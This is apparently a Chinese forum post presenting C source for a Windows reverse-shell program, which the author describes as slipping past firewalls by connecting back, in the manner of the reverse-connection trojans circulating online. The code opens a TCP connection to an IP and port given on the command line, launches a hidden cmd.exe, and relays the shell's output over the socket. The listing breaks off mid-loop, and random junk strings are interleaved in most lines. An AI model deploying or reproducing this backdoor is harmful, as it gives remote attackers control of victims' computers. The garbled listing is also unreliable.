这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M49Hm[0(
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/* ============================== 2Ju,P_<dt
Rebound port in Windows NT 6|%HCxWO
By wind,2006/7 Ax!fvcsN
===============================*/ O}7aX '
#include 8}^ym^H|j
#include |e3YTLsI
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#pragma comment(lib,"wsock32.lib") !|Y&h0e
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void OutputShell(); "n<u(m8E
SOCKET sClient; +,9Muf h
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; '9|R7
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void main(int argc,char **argv) H329P*P
{
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WSADATA stWsaData; Mz6|#P}.s
int nRet; Z?w=-
SOCKADDR_IN stSaiClient,stSaiServer; UX'tdB
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if(argc != 3) ] m^ECA$
{ .MRLAG
printf("Useage:\n\rRebound DestIP DestPort\n"); sF#t{x/sW
return; It^_?oiK
} /3~}= b
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WSAStartup(MAKEWORD(2,2),&stWsaData); [dXRord
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v8A{q
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stSaiClient.sin_family = AF_INET; 9,
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stSaiClient.sin_port = htons(0); 11yS2D
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u+8?'ZT,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Al]z=
{ k:zGv
printf("Bind Socket Failed!\n"); :.\h.H;
return; XpOQBXbt
} {*4Z9.2c*
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stSaiServer.sin_family = AF_INET; s-xby~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9}Zi_xK&|e
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E}=F
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &oiBMk`*
{ eYRm:KC
printf("Connect Error!"); eD 7Rv<
return; Z?'){\$*
} knZ<V%/e
OutputShell(); cNqw(\rr
} :y[tZ&*<_?
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void OutputShell() oI%.oP}G
{ :~9F/Jx
char szBuff[1024]; w9a6F
SECURITY_ATTRIBUTES stSecurityAttributes; cV)~%e/
OSVERSIONINFO stOsversionInfo; GD .>u
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OKzk\F6
STARTUPINFO stStartupInfo; =t-503e.J
char *szShell; vweD{\b
PROCESS_INFORMATION stProcessInformation; =").W \,
unsigned long lBytesRead; eM`"$xc
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (tP^F)}e5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $(%t^8{a~G
stSecurityAttributes.lpSecurityDescriptor = 0; sQe>LNp,G
stSecurityAttributes.bInheritHandle = TRUE; gG=E2+=uy
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;rH@>VrR
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); c}FZb$q#
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |4a#O8d
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lL:J:
stStartupInfo.wShowWindow = SW_HIDE; U=bZy,FT$
stStartupInfo.hStdInput = hReadPipe; 7e&%R4{b
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q}jl1dIq
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GetVersionEx(&stOsversionInfo); [VP~~*b
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switch(stOsversionInfo.dwPlatformId) Fc<+N0M{
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case 1: BK]q^.7+:
szShell = "command.com"; Gwkp(9d
break; vd<"
G}
default: Ws`P(WHm
szShell = "cmd.exe"; ,*Yu~4
break; 07+Qai-]
} <kmn3w,vi
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r
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send(sClient,szMsg,77,0); F
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while(1) @YTZnGG*
{ bXiT}5mJU
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j7 D\O
if(lBytesRead) zW^@\kB0D
{ AHhck?M^
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9_GR\\
send(sClient,szBuff,lBytesRead,0); DP9hvu/85
} YX_p3
else wy$9QN
{ 6^.<